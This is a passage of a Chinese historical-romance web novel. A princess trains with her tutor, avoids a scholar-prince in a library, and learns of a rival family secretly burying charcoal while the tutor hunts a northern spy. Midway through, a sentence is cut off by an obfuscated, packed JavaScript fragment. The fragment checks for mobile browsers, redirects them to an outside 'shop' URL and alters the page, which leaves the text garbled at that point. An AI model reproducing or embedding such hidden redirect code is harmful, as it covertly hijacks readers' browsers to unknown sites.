娄卿旻一把将棍子丢远,急忙转身去接朝颜的腰身,刚将人揽入怀中,不想脚下没站稳,转了个圈后二人一齐向地面跌去,摔在地的前一秒,娄卿旻一个伸手将少女又拉近了些,自己则是背朝坚硬的石子路,摔了个彻底。 后腰一阵疼痛,耳边传来刺啦一声,似是衣衫被划,娄卿旻却顾不上自己,揽住还在发怵的朝颜,匆忙关心道:“殿下这是怎么了?” 朝颜仿佛魂体出窍,听到男人这句话后归于原位,后背刹时泛起寒凉,身子打了个冷颤,她想退却无处可退,这才发觉自己在娄卿旻的怀中。 温暖的体温顺着衣衫穿透过来,她忽然意识到什么,狭长的眼睫微抬,见本该离她三尺的男子却近在咫尺,瞬间惊了一跳,一把推开人后便自顾自地起身,背过头去不再看他,言语带着愠怒:“男女有别,大人是做什么?” 一旁的暮商看不下去了,插嘴解释道:“分明是公主殿下您……” 娄卿旻一个锐利的眼神扫过去,暮商便立刻闭住了嘴巴,他自己站起身。 “殿下方才似乎是走火入魔了,对臣下手时丝毫不留情面。”话毕,娄卿旻缓步走到朝颜面前,撩起衣袖,露出一截白皙的手臂,只一瞬便又收了回去。 朝颜匆匆扫一眼便看见男子那比普通女子的还要细腻的肤质,但她此刻却无心观赏,满眼都是细嫩皮肤上渗人的红痕与青紫印记。也不知方才是发什么疯,竟不顾眼前人是谁,胡乱打一通,真是着了魔。 朝颜自知有错,心中很是内疚。她不敢直视娄卿旻,连忙伸手抚上额挡住自己半张脸,对这边的槐夏使了个眼神。 槐夏一看便懂,登时跑了过来,搀扶住朝颜。 朝颜摇了摇脑袋,装作身子极不舒服的模样,整个人都靠在槐夏身上,而后转过头对着娄卿旻有气无力地说:“抱歉,大人,方才不知怎地控制不住了,总之是我的不是,我向大人赔罪。但我现下感觉有几分头晕,今日怕是不能再操练了,还请大人放我一日假期,待我修养回来后定好好补上。” 说完,她不等人回话便拉着槐夏的手落荒而逃似得离开了。 “殿下。”男人又唤了她一声。 朝颜生怕男人看破她的伪装,慢慢转过身子,一脸虚弱,语速极慢:“大人还有何事吩咐?” “殿下切记,与人对打时可以有情绪,但不能完全被情绪所操控而失去理智,那不好。”娄卿旻站在原地,义正言辞地说出这些话。 朝颜有错在先,自是不反驳,连忙点头,“好,我记得了,谢大人提醒,告辞。” 39. 卷土重来(三) 朝颜故作虚弱,被槐夏搀扶着慢慢前行。 二人刚出了西苑,朝颜即刻收回了压在槐夏肩上的身子,自己向前行去,此刻的她面带红润,浑身干劲十足,健步如飞,哪里还有半点病弱模样。 槐夏一直憋着没言语,待回了寝殿后为朝颜倒了杯水后,迫不及待地开口:“殿下方才那模样装得可真像病弱之人,差点连槐夏都觉得您真的要晕过去了呢。” “也难怪少傅大人看不出来。” 听到这话,朝颜忍俊不禁,笑出了声,“你该不会真的以为娄卿旻会相信吧?那等雕虫小技根本不能掩人耳目,他那是看破没说破。” 槐夏满脸疑问,又问:“那大人为何不揭穿殿下?” 揭穿?他自然是不会揭穿。 二人方才那样尴尬的境地,互相躲避都来不及呢,又怎会故意挑明惹二人狼狈? 她又想起自己白白让娄卿旻受了那么多打,也不知该如何面对,索性装疯卖傻扮柔弱。 恰好,他也没戳破,若不然还真不好糊弄了。 这边的槐夏后知后觉,想起二人摔倒在地的画面,连忙拉过朝颜的手臂翻来覆去地看了又看,担心道:“不过,殿下您可有摔疼了?” 话毕,朝颜从上到下活动了一番筋骨,试着寻找伤处。但除了手臂因举归棍酸痛外,其他地方并无任何不适。 朝颜心中狐疑,照理说她直直摔在地下应该会有伤,不过她没细想那么多,衣衫已经沾了灰,她转头唤槐夏去后院温池中帮自己备好衣物与洗澡水。 直至沐浴完穿衣,她忽然回想起快摔倒时娄卿旻暗暗拉了一下她的衣裳将她护在身前,所以她才没摔伤。 纯白亵衣包裹着姣好的躯体,湿漉的发丝不断滴水。朝颜任由槐夏帮自己擦拭头发,自己盯着脚尖出神,喃喃自语:“想不到目空一切的少傅大人也会有体贴的一面。” 不过她又有些奇怪,娄卿旻从不是多管闲事之人,这次怎么会突发奇想替她挡着?依稀记得初来燕国时,他一本正经地告诫自己不要胡乱插手旁人之事呢,为何他后来会在燕国朝堂上救下姜宣同,还从燕晤手中救下连瑕。 他或许是真心把大家当朋友了。 说起来也不必感到怪异,娄卿旻既然能与兄长当多年知己,或许本就不是什么寡情冷酷之人。 朝颜有些乏了,让槐夏下去休息后,自己躺在榻上盯着头顶的床幔神游,今晨她确实有些疯魔,起初只是想与娄卿旻对打,测一下自己是否精进,哪知后面不受控制了。 这几回合下来,她知道对方有意让着她,所以她心里依旧不安宁,虽说是学了武,可以保护自己,但对付那些武功高强之人仍是以卵击石,坚持不了几回。 既如此,日后她身边还是要多带几个能文善武的亲卫,省得再生祸端。 寒风从缝隙中穿梭,吹起床幔的一角,朝颜忧愁的视线随着轻纱晃动,最终沉沉叹了一口气。 也不知羽堇是否寻到兄长的消息了,这个时候还未归来。依稀记得临走前他们约好要一起过新年的,如今迟迟没有消息,免不得让她忧虑。朝颜不希望兄长出事,但若是真有什么不测,她也无力回天,只能努力替兄长护好华纪。 但愿,但愿兄长还活在世上的某个角落中。 * 经上次对打一事后,朝颜便以身子不舒服为由不去学武。 这样躲着娄卿旻,一躲就是两日,第三日她终于躲不下去了,安慰自己那日也不算多大的事,不至于浪费了先前打好的基础就此放弃。 于是第三日天还未亮她便又早早起身,梳洗后草草将发挽起,穿着类似男装的简易裙裤后便向外跑,临走时还是槐夏特意提醒,为她披了件雪白的狐裘以作保暖。 昨夜里又下了雪,正是看不清天地的时辰,眼前灰茫茫一片,伸手不见五指,而朝颜身上的雪白却依稀能分辨出来,槐夏在身后护着,二人快步前行。 月色朦胧,朔风凛烈,冬日是最离不得木炭屋的。 刚出门不大一会儿朝颜人就冻得直打颤,浑身的骨头僵硬无比,隐隐传来磨人的刺痛,她伸手裹紧狐裘,脚下步伐也迅速加快。一到西苑,抬眼见到屋内燃着烛火,二人便直接去正殿前敲门。 片刻后有人打开了房门,是暮商,对朝颜行了一礼后引着她去了空荡的偏殿。 朝颜刚踏进去,鼻尖便萦绕起一抹淡淡的香味,直入肺腑,让人心安神定。她抬眼环顾四周,观察这陌生的地方。这里很大,似乎能放下千人,等待的过程中身子也逐渐暖和起来。 娄卿旻已经在自己的院子等了足足两日,本以为今日依旧等不到朝颜,不想她居然来了。 他从内殿出来,一步步朝着朝颜走去,道:“臣还以为殿下自暴自弃不再学武了。” 寂静殿宇内,男人略带调笑的话语回荡在耳边,话毕,殿中隐约还有几缕余音环绕着。 早料到会被娄卿旻一顿冷嘲热讽,毕竟是自己有错在先,朝颜也不再厚着脸皮解释什么,只笑着打岔,将事情圆过去:“大人哪里的话,这是我特意去王后那里寻来的金疮药,说是对淤青打伤有奇效,且药性温和抹上不会太疼。” 说罢她从袖口掏出一瓶药递过去,这才看见男人手上持着一把弓矢。 娄卿旻没与她客套,伸手接下药放到一旁桌案上,黑瞳目不转睛地盯着瓶身看,又恢复成先前那得理不饶人的模样,“殿下若是再晚几日送来,臣这身伤怕是都要痊愈了。” ……朝颜没接话,也不知接什么。 “天气愈发冷了,殿外的雪也越堆越厚,没有落脚之地了。从今日开始直到殿下学成之日,训练都转到这处进行。”他一边说着一边指着面前空旷的大殿。 殿中左右两边都是坚硬的红木柱,除去最前端的香炉暖炉与几盏灯,别无其他,确实是个练武的好地方。 朝颜点头应下后,在娄卿旻的督促下,她又将先前学过的基本功重新回顾一番,开始学习拉弓。 昏暗灯光下,两道倩影一前一后纠缠在一起,密不可分。 “听闻殿下每日用过午膳后都会去藏书室看书?”娄卿旻站在朝颜身后,压下她因抬弓而颤抖的手臂,忽然转移话题。 纹丝不动举了一炷香时辰的弓,朝颜的手臂已经累得抬不起来,她摇摇晃晃地将弓矢放在地面后,悠悠地答话:“是,每日都去。我是想着多读些书长长见识也是好的,不至于日后嫁去别国时笨嘴笨舌,愚昧无知。” “那殿下应该知道仲清先生近来的消息罢?” 话音刚落,朝颜转过身看着娄卿旻,道:“先生身体康健,一切安好。” “若不然大人抽个时候亲自去见见?” 娄卿旻思索片刻后垂首,答道:“也好。先前先生遇害时我没能施以援手,许久日子未见,我确实应该去负荆请罪。”说这话时他面上有自责之色。 朝颜那时候也没寻到他,故而自己去向燕融求情。 娄卿旻自责是因为当时他刚收到亲卫传来的消息,说查到太子的下落了。时隔数月终于找到线索,他心急如焚,派人甩开燕国暗探后快马加鞭出了城,连夜去确认朝饶的身份,谁知同一时刻仲清与姜贯也出了事。 好在朝颜在危难关头救下他们,不然他会后悔终生。 朝颜见他沉浸在内疚中无法自拔,想安慰他。 她捏了捏自己酸痛的手臂,灵机一动,提议道:“择日不如撞日,不如今日一同前去?” 话毕,殿内静寂半晌。 眼下已过辰时,太阳已冉冉升起,暖阳透进殿内,娄卿旻拂袖离开了,不过他走之前留下一句话:“待我备好请罪之礼,巳时一刻在藏书室门口约见。” 朝颜明了,自己回了寝殿梳洗更衣。 * 巳时。 娄卿旻提早抵达,远远便看见一道亮眼的橘黄身影,似乎是个男子。 随着男子走近的步伐,面貌也逐渐清晰起来,娄卿旻近乎是一眼便认出来人,抬手作揖,主动招呼道:“竟是敬文君。” 说话间,朝颜也往这处赶来,厚重裘衣内的鹅黄色曲裾衣裙露出一半,腰间的玉组佩紧贴在衣裙上,青丝半披在肩,发顶一根鎏金发簪,整个人竟比平日里多出几分艳丽。 燕晤一见到朝颜,眼中的惊艳掩盖不住。 连日日与她相处的娄卿旻见人这样打扮,也看愣了片刻。 几人互相对彼此行了简单的颔首礼,以示礼节。 燕晤猛然想起他与娄卿旻之前许下的约定,怕人忘记,忙上前提醒道:“大人,自上次一别后,在下一直盼着能再见到您,前几日去大人宫里未寻到您,正打算寻个日子再去拜访您呢,不想今日在此处遇见了。” 娄卿旻眼尾上挑,露出一抹疑惑之色,言语淡淡:“不知敬文君找在下所为何事?” 燕晤眼底有几分失落,“大人不记得了?” 随着他的话音落下,娄卿旻与他对视一眼后,才想起那日救下连瑕后,答应帮燕晤向先生举荐之事,奈何后面所出的事一件又一件,打破了他现有的计划,故而将燕晤之事直接抛之脑后。 娄卿旻眸子一转,接话:“没有忘记,只是先前忙于公务未找到合适的时机约见敬文君,既然今日如此凑巧遇见了,那便趁这 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仲清原本正在整理书册,听到外面嘈杂的声音后,快步走出来迎几人,恰好听到敬文君的赞赏,他不好意思地接话:“老夫就是个普通人,只是活得时间长,读得书比你们多那么一点点罢了,算不上什么人才。” “先生莫要谦虚。”燕晤看着仲清的眼神里明显多了恭敬。 一想到心心念念所求之人就在眼前,他却不知晓,便有些懊恼。 不过好在先前已经相识,求仲清教学的事情也变得顺利起来。 燕晤与仲清约定好日日来此听他教学后,随后几人便分散开来,各自忙自己的事。 藏书室朝颜已经来过无数次,知道她要找的书简在何处,进门便直奔放置史书的方向而去。她慢慢寻着,抬眼看到自己要寻的那卷,心下一喜抬手去拿,谁知无意间碰到另一个人的手指,冰冷坚硬,她恍如触到什么可怕之物,赶忙收回手。 那双手比娄卿旻的手更要白净,一看便是未做过粗活的,朝颜一猜便知,是燕晤。 巧合猝不及防,二人恰好找了同一册。 燕晤呆在原地,仿佛还回味着那温暖的触觉,察觉到少女的视线,他回过神取下书后递到她面前,“公主竟也喜爱读这类的书?真真是个独特之人。” 燕晤像是找到了知己,面上如沐春风,欣喜地盯着朝颜看。 “敬文君过誉了,我只是闲来无事读着玩玩而已,这也是仲清先生推荐给我的。既然敬文君喜欢,那我便不夺人所好了。”说完朝颜与他行了一礼后便径直走到自己常去的书架旁,顺手拿起一本兵书看了起来,全然不顾燕晤。 “在下还未过问,公主今日与大人一同来此,莫不是也是向仲清大人求学的?” 燕晤说话时柔声细语,举止文雅,与朝颜两世所见之人都很不同,一副白面书生任人欺凌的孱弱模样,若不是连瑕之事在前,朝颜也许会多与他说说话。 但自那事后她心中始终有厌,见人跟得这样紧,不能故意不理,便随意点了点头,找借口离开:“我有话与先生说,敬文君自便便好。” 见少女急忙要离开,燕晤唤住她:“若公主喜欢,可先拿去看完后再给我的。”话毕将书简递到朝颜面前。 朝颜与之对视一眼,心想不要白不要,她还未将手伸过去又听到旁人唤她,“殿下。” 话毕,二人一齐转头向尽头看去,是娄卿旻。 男人眼神带着一点暗示,朝颜看破后收回手,快步走到娄卿旻身侧,便听见他对燕晤说:“在下有事要与殿下商议,便不与敬文君多言了,告辞。” 说着便向门口走去。 他们步伐极快,燕晤鬼使神差地追到门口,盯着少女的背影出神。 他原本还想与朝颜探讨一下那卷书册的内容,但娄少傅明显有更要紧的事,他也确实不该再纠缠,最后自己又灰溜溜地回去拿着书简看了起来。 桃月一直在门口守着,自然听到朝颜与燕晤的对话,她看着自家主君魂不守舍地目送那对男女的模样,紧紧皱起眉头,面上有几分咬牙切齿。 她识得那个女子,是朝颜公主,华纪人。 前些时日发生的事她都知道,据说此人能言善辩把王上都哄得眉开眼笑,给了她很大的特权,她有如此能耐,日后保不齐也会利用自家主君,若不然也不会日日来藏书室制造偶遇,表面装作一副喜爱读书的模样,背后怕是另有图谋。 若不是藏书室那个先生,她一个弱女子怎么可能与自家殿下想到一出去,还读同一册书。 定是魅惑人的借口罢了! 思及此,桃月暗自下了决心,她不能再坐以待毙,她需为自家主君所考虑,若此女日后再与自家主君有牵扯,她定不会放过她! 40. 卷土重来(四) 草草几句话拜别仲清后,娄卿旻便与朝颜一前一后离开了藏书室,二人一齐走上回公宫的方向。本以为娄卿旻唤自己离开是有要事相商,朝颜便沉默了一路,等他开口,奈何他也不言语。 又行了些路,眼看快到了朝颜所居的东苑,娄卿旻依旧没什么动静。 已临近正午,阳光炽热,照得人心里也跟着焦炙,青石板地的积雪经过半晌午的照耀已经融成了水,朝颜踩在湿漉漉地上,瞥着自己留下的脚印,心中乱作一团。回想起娄卿旻所言,她是既好奇又焦急,眼看到了转弯廊台处即将分别,她终是开了口唤住前方人: “大人方才急忙唤我离开,可是有什么事要同我说?” 娄卿旻停住脚步,立在廊下,转身看向朝颜,俯身行一礼,道:“殿下,恕臣多嘴,您如今已是待嫁之身,万不可再与旁的男子纠缠不清,有损声名。” “旁的?男子?”朝颜口中重复着这几个字,愣了。 失神许久后,终于反应过来他的话别有深意。 近几日二人因学武之事和平相处,关系比先前缓和了许多,她倒是忘了,娄卿旻还是那个娄卿旻。 他似乎尤为在意王室尊荣,应是见不得待嫁公主与旁的男子轻易搭话,觉得有损华纪国的声名,故而方才唤她离开,思及此她深深叹了一口气,“莫非大人口中的‘要事’便是如此?” “是,殿下恕罪。” 男人嘴上说着恕罪,十分有礼节地垂首弯腰,但他面上却是冷若冰霜,毫无半点为人臣的卑躬屈膝,反而带着一种不容任何人侵犯的威严。 见状,朝颜蓦地笑了,似银铃的轻声从嗓间发出,娄卿旻疑惑不解地抬眸,匆忙中二人对上视线,两道目光中有质问有疑惑还夹杂着淡淡的怒气,二人都各怀心思。 朝颜先移开了眼神,淡道:“大人口口声声王室颜面,敢问大人您是否在旁的男子行列中?” “臣……”娄卿旻吐出一个字后忽然抿唇不语,像尊佛像似得立在那纹丝不动。 朝颜静静看他。 平日里旁若无人、不容侵犯的少傅忽然被她堵成哑巴,属实是破天荒的头一次,朝颜不想错过这次调笑他的机会,故而又向前进了一步,立在他身侧一步之距,笑道:“大人怎么不说话?” “莫非,在大人心中,您不属于旁的男子?” 温热的气息抚过娄卿旻耳畔,似乎是未料到朝颜会有这一举措,他眼中冒出些震撼,脑海骤然浮现出先前姜宣同在牢狱中问过他的话——怕不是您对朝颜存了什么见不得人的心思吧? 少女好看的面容映在眼前,与昔日调侃的话语掺杂在一处,他顿时心乱如麻,眼神飘忽,忙后退一步,拉开与朝颜的距离。 身上青衫被他弄得微微浮起,玉石带钩撞在一处叮铃作响,他自觉不妥,又低下头朝人一拜,语气稍有些不平:“臣没有。” “没有什么?” “是没有那样想过,还是觉得不属于……” 朝颜故意调侃他,就是想看他这幅手足无措的模样。 男子又后退一步,久久不抬头,最后道了句:“臣属于。” 朝颜知道若再不给他台阶下,他定要说什么男女授受不亲之类的话,便也不再靠近。 得到料想中的答案,不再作弄他,随意望向远处堆积满满白雪的树杈,叹道:“少傅大人您放宽心便好,燕晤他是年纪尚小涉世未深,不曾见过几个人,难免会对一个与他有相似喜好的人生出好奇之心,想要一探究竟。不过我早已不是什么三岁小儿,对任何一个想要接近我的人都会谨慎再谨慎,更何况我还记得先前连瑕之事,又怎会与他纠缠?” “方才若不是大人来,我也会想法子脱身。”说罢她抬步越过娄卿旻,走在他身前,厚重雪白狐裘下,鹅黄衣衫轻浮,发丝掠过男人光洁的额面,留下一道令人抓心挠肝的痒意。 鼻尖还荡着少女衣衫飘出的安神香,娄卿旻转身望了眼她的背影,不敢再露出半分心绪。低头瞥见玉石带钩缠在一处,他故作镇定地正了正衣冠,将玉饰归于原位,又迈步跟上去。 朝颜行得很慢,有意等他。 “如大人所说,我的一举一动都代表着整个华纪,所以我不能做出任何不利家国的行径,有些人的面子还是要给的。” 她话锋一转,回头看着已经跟上来的人,道:“不过我还是要感谢大人方才帮我解围。” 娄卿旻面色恢复成原本的正经模样,冷静接话:“殿下客气了。” “天色不早了,大人是想与我一同用膳还是……” 已经到了东西两苑的分叉口,娄卿旻不加思索直接便回绝了:“不必,臣还有公务在身,先行一步。”说完快步离开,仿佛朝颜是只吃人的鬼魅。 朝颜望着男人逃似得背影,无畏地摇摇头,唇角勾起浅浅的弧度。 与她这个活了两世的人来说,不论是燕晤亦或是娄卿旻,于男女之事上都是三岁小儿赏戏,只浮于表面,没有她看得透看得深。 回寝殿后用过午膳,朝颜端着书简看了半卷忽然停下,接过槐夏递来的姜家信件,想到燕晤今日会一直待在藏书室听仲清先生教学,她便知今日自己不能再去了。 她打开信件看了一瞬,双眸半眯面色凝重。 姜宣同这封信来得正好,多日未见舅父与堂兄,甚是挂念,应出宫探望探望了。 * 昨夜子时,深更半夜。 雪渐停,寒风朔朔冰冷彻骨,外城主街空无一人,三辆马车紧紧挨着,其中一辆忽然变了方向,似是往王府的方向走去,另外两辆继续前进,穿过繁盛的城池与齐整的村落,向几十里外的神秘山丘赶去。 十里开外,一道黑色身影骑着快马忽略了第一辆马车,朝另外两辆马车奔走的方向追赶。 此人正是姜宣同。 那日在酒肆,姜宣同应了朝颜的吩咐,时刻注意着王家的一举一动,他夜以继日不辞辛苦地一直监视着王家,上天不负有心人,蹲守了半个月,王家终于按捺不住行动了。 天地一片昏暗,唯余星星点点的月光照亮山丘。 马蹄声浩荡悠扬,传遍山林,赶到外城最近的淮山脚下速度忽然降了下来,姜宣同时刻警惕着,故意与之留了些距离,寻了处隐秘之地安置马匹后,小跑着跟着他们往山林更深处去。 姜宣同虽躲得远,但还是让他一眼便认出人群中为首的就是王堃,多年的相处早已熟识他的身影。 见王堃着急忙慌地吩咐了下人几句话,身后的仆从便拿起铁器在黄土上用力地挖。不知不觉过去一个时辰,姜宣同躲得腿脚都快要麻痹,那群人才挖完。再抬眼,便见他们排着队往挖好的几个大坑中填满了漆黑的物什,而后又重新用黄土将其掩埋起来。 做好一切后,天快亮了。 朝阳洒遍山林,气温逐渐暖起来。姜宣同警惕地躲好,送走那群人。他先是锤了锤腿脚让身子动起来,而后慢慢靠近已经被复原的那块黄土地,潮湿的地面早已看不出挖过的痕迹。 姜宣同环顾四周,忽见其中一个土堆中间夹着抹暗灰,他快步跑到那方将东西拾起,在手上捻搓一番又放在鼻下轻嗅,是一种木柴燃烧后的树木香,甚至还能嗅出淡淡的果香。 他眼神一暗,竟是木炭! 想起前些时日王酉铭因私藏木炭之事被王上禁足在府上,又忆起王堃方才那着急的模样,一切都迎刃而解。 事情出现巨大转机,姜宣同连忙下山找到自己的马,兴冲冲赶回府,天已大亮。 他将马栓好后直接跑去姜贯所居的主屋,唤了好几声父亲,终于见姜贯的身影从外面进来,他快步上前,语气颇为激动:“父亲,孩儿有件事要同您说,是有关王酉铭那贼人的。” 而后姜宣同一五一十地将自己昨夜讲述出来。 听完后姜贯满眼震惊,忙追问:“此事千真万确?” 姜宣同直直点头,语气坚定:“绝无半点作假,孩儿亲眼看到的。” 因被王酉铭陷害丧失城池一事,姜宣同一直怀恨在心,很早之前就想找机会报复王家,如今忽然有了置人于死地的证据,姜宣同自是心都提了起来,愤怒操控着大脑让人失去理智,他迫不及待道:“父亲,眼下我们既掌握了王家私吞木炭的证据,是否要传信给王上禀报此事?” 姜贯摇头,宽厚的大掌置于姜宣同肩上,传了一丝温暖,他安抚道:“不必太心急,先与颜儿传一封信,看看她有何想法。” 姜宣同这才从怒火中抽身,想到是朝颜先前吩咐他监视王堃的,如今有了消息应该先与她说。 虽说王酉铭被禁足,不会再做害人之事,但姜宣同还是不敢掉以轻心,他乔装打扮了一番,便马不停蹄地赶去内城,找了先前相好的人,托宫里负责采买的厨娘给朝颜递了消息,便又回了外城。 这边午膳时厨娘将信带到朝颜面前,朝颜见了信,没耽误时间,即刻动身出宫往姜家赶去。 临近年关,各家各户开始采买,街上人马比平日里又多了不少,一路拥挤堵塞,磕磕绊绊,赶到姜家时,已是一个时辰后。 她刚进主屋,姜宣同唤了她一声表妹,便拉过她的腕子将其按在一旁坐垫上,道: “这几日我听你的吩咐一直监视着王堃,直到昨个夜里子时三刻,我见他府上前前后后出来三辆马车,我便紧跟着他们,发现他们竟来了外城。这期间有个女子乘了辆马车回了王酉铭府上,其余两辆出城后改道去了淮山,我暗自跟着,认出为首之人是王堃那小人,我亲眼见他们将足足两车木炭埋入深坑里,那可是两大车的木炭,不知能帮助多少个穷苦百姓度过冬日,他王家实在是大胆!” “我取回了残留之物,就是证据,你看。” 说完姜宣同将昨夜取来的东西递到朝颜手上。 朝颜用力捏了捏,黑灰的一小块便直接将指尖染上颜色,有果香、木香,朝颜面色有几分恍惚,皱眉道:“竟真是木炭!” 确认是木炭,一旁的姜贯怒了,拂袖转身,冷哼一声道:“王酉铭简直狼心狗肺!他难道不知对于百姓来说木炭是多重要的么?” “颜儿,你晓得舅父心中所想,我是绝对不能坐视不理的!” 朝颜自然是什么都懂。 舅父曾是泉城城主,他当值期间不贪功牟利,一心为民谋求了诸多福祉,自是不能容忍王酉铭私藏木炭之事。但眼下已经失了官位,具体如何做还是要从长计议。 看样子,王家是铁了心要与燕融作对、与天下众人作对, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405626|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然也不会做出此等错事。 “颜儿,依你之见,我们要如何做?”姜贯平息了怒火后,问她。 朝颜放下手中的东西,转头看向姜宣同,“堂兄可还记得洞穴所在何处?” “记得,我怕忘记,特意做了标记。我们定要快些将此事上报给国君,为兄怕迟则生变。”姜宣同瞪着眼睛等朝颜发话,举止反应尤为激烈,仿佛今日不将人定罪便不罢休。 话毕,朝颜收回视线,抿唇不语陷入深思,她总觉得此事太过蹊跷,王酉铭一向行事谨慎,上一次神不知鬼不觉地把信掉包让自己吃了哑巴亏,如今他们真的会将两车木炭随处找个地界埋了? 虽说是夜里行动,但燕融已经让左师与赵司寇一同协查,难道他二人未发现端倪?还是说,多事之秋,焦急出错? 一切都是猜测,具体如何还未可知,朝颜又拿起那块黑炭细细端详了一番,确实是木炭,但也不能保证那几个坑中所埋之物全是木炭,为今之计是要尽快确认清楚。 “堂兄,你亲眼看见那大坑中埋的全是木炭?”她又问。 姜宣同迟疑了,后答:“离得远,天又暗,那东西黑乎乎的,依我所见,应全都是木炭没错。” 话音落下,朝颜安静了。 如不确定,还是不能上报给国君,需待查验。 半晌后,她道:“此事我们不插手。若贸然亲自出面,恐会遭人记恨。这里是燕国,此事也是关乎燕国家国内斗之事,如今舅父已经不是泉城城主,按理说不应随意插手朝堂之事,既如此,便让他们自己内部解决,我们只需要在背后推波助澜便好。” 姜宣同面上明显不乐意,觉得自己多日忙活一通全给他人做嫁衣了,但又觉得朝颜言之有理。 而姜贯心思深沉,一下便明白朝颜所想,连忙将消息梳理一番,写了两份,递给姜宣同:“同儿,你想办法将此物分别送往左师府和司寇大狱,万不可透漏消息是从我们这儿流出去的。” “好,我这就去。” 姜贯掀起衣袍坐在朝颜对侧,喃喃自语:“接下来就看他二人如何做了。” 朝颜指尖捏着那块木炭,看了又看,这才发现此物比木炭的颜色稍微浅一些,她目送姜宣同离去的背影陷入深思。 消息来得突然,也不知那二位大人是否会信,具体是不是木炭,明日看王氏的结果便知晓了。 目送亲儿离去,姜贯眸子转到朝颜身上,关心道:“颜儿忧心忡忡,在想什么?” “舅父,待堂兄做完此事你们便准备离开燕国,一定要装作什么都不知晓,以免受牵连。”朝颜隐隐觉得,此事没那么简单,断不能再让姜家陷入险境。 与此同时,外城东边酒肆里。 男人一袭青衣立在二楼窗前,乌发半披半束,白玉簪在夕阳的照耀下闪着细细光亮,鬼斧神工般的侧颜令人望之退却,敬而生畏,本是一副美好画面,偏偏此刻的他面容惆怅,正对着窗外出神。 他修长指节中挂着一串金丝剑穗,剑穗上的十字花节虽有些瑕疵,但模样精致小巧,极为好看。 暮商一直在门口听命,见状也不自觉地朝自家大人望去。 太子殿下遗物找到,大人表面装作若无其事,实际内心的伤痛却无人能理解。 从前一直伴着他的知己就这样死在他乡,换做旁人早就痛哭流涕。娄卿旻一向不将情绪袒露在面上,眼下如此忧愁,想必内心早已千疮百孔,混乱不堪,但他知晓自己不能失了理智乱了方寸,故而一直隐忍不发,自作主张隐瞒太子殿下的情况。 他不能与旁人诉说,只能独自承受失去知己的痛。 有时暮商都想直接将此事告知公主。 一个人只能独自伤感,两个人或许还能互相安慰,调节情绪。 但大人不允,说是事关华纪安危,若真暴露出战神已死的消息,邻国定会蠢蠢欲动,战争必然一触即发。为此,他们不敢赌,也不愿拿千万百姓的命去赌。 正思索着,抬眼便见暮均兴高采烈跑上酒肆二楼,暮商示意屋内男子有人来了,娄卿旻才回过神将剑穗放入袖中。 暮均负责燕国境内所有人的一举一动,他禀报的事基本都很紧急重要,果不其然,下一刻便听他严肃道:“大人,果然不出您所料,十廿又现身了。” 话毕,娄卿旻的身侧不自觉地泄出一丝冷意。 派去北狄的探子送来了消息,前些时日北狄在燕国边境吃了败仗,此刻粮食兵器粗盐都极其短缺,十廿必然会重蹈覆辙,纵使先前吃了苦头,为了利益、性命也会不择手段重回燕国。 好在鱼饵早早撒下去,鱼终于要上钩了。 令他疑惑的是,十廿背后究竟是何人,是北狄的哪一个流派。 他们一直找机会从燕国对华纪的粗盐下手,或许就是在筹备军粮,等待时机挑起战乱。 其实于娄卿旻来说,燕国内部朝臣如何对待百姓与他并无干系,王家本与他也没关系,只是他们万万不能动本就属于华纪的东西。 朝饶已然遇害,自己定要替他守好这盛世家国。 王酉铭,十廿。 娄卿旻心中默念这两个名字,眉眼已泛起一股凌厉的杀气。 这次,可不能再让他二人逃脱。 41. 卷土重来(五) 落日熔金,万丈霞光明晃晃照在木窗上,为室内增添诸多光亮。男人此时恰好坐在夕阳之下,如玉君子的模样,恍若仙神重新归入尘世。 他回过神,从另一侧袖口取出一串与方才那串一模一样金丝剑穗,仔细端详着,上面沾满了血迹与泥土,往日最喜净的人如今也不觉得脏,听完暮均所报,他开口问道:“十廿现在何处?” 暮均:“在外城西边一家私人客舍住着,那地方还挺隐秘,他暂时没有行动。” “盯紧他。”娄卿旻眉眼露出一抹狠厉,“这么迫不及待重蹈覆辙,看来是真的不怕死。” “大人,上次让他侥幸逃脱,这次我们要如何做?” 抓活的?还是直接杀了?暮均不解。 他们早前便已知晓十廿是北狄的人,依照他所想,直接杀了便是,但自家大人偏要查到十廿背后之人。暮均不明白,查出又如何,北狄那群乌合之众是一伙的,这是无法改变的事实。 娄卿旻没答话,脑中忽然闪出一些事,他将剑穗收回袖中,忙从一旁拿出白简在其上写了几个字,而后将东西放进竹筒中,递给暮商道:“你吩咐下面的人将此物送到华纪皇城,用最快的马匹,务必三日之内送到,不得耽误!” 暮商点头:“是。” 送暮商走后,他又看向一旁等吩咐的暮均,回答了暮均方才的疑问:“此人暂时不可小觑,先前被抓他这次定会有所警戒,先看看他有什么动作再做打算也不迟。定要抓住机会一击致命,否则将来后患无穷。” 凡事预则立不预则废,行为举止若冒失冲动,成不了大事。 对付小人,只能徐徐图之,慢慢引其入局。 为此他又特意提醒了暮均一句所有人不许擅自行动。 暮均不敢违抗,点头应下。 “姜宣同那边可有动静?”娄卿旻又问。 “公主派他盯着王堃,他这几日不分昼夜日日监视,昨夜里王堃转移炭灰之事姜宣同已经取到了证据,想必眼下公主已经知晓了。只是……”他话说到一半,忽然停了。 自家大人一直盯着王氏宗族每个人,自然是知晓王堃的障眼法,只是公主殿下那边人手不足,好不容易找到线索,如今又要白高兴一场了。 话毕,娄卿旻垂下眼睫,一副了然的面貌,他知道暮均要说什么,无非就是替朝颜抱不平。 他起身从暗匣中取出先前所绘的布防图,将其放回桌案,而后拿起狼毫在郡防的一角上画了个又深又大的圆。 朝颜是聪明的,在众人都盯着王酉铭的时候她能想到监视王堃,便证明她与旁人大为不同。既然她已知晓,便不会坐以待毙。 至于之后如何做,全看她自己了…… 若她还记得上次姜家的教训,应该不会再意气用事。 想到朝颜,娄卿旻毫无情绪的瞳中慢慢浮上一抹他自己都未曾发现的柔情。 他忽然还有些期待,朝颜此次会如何处理。 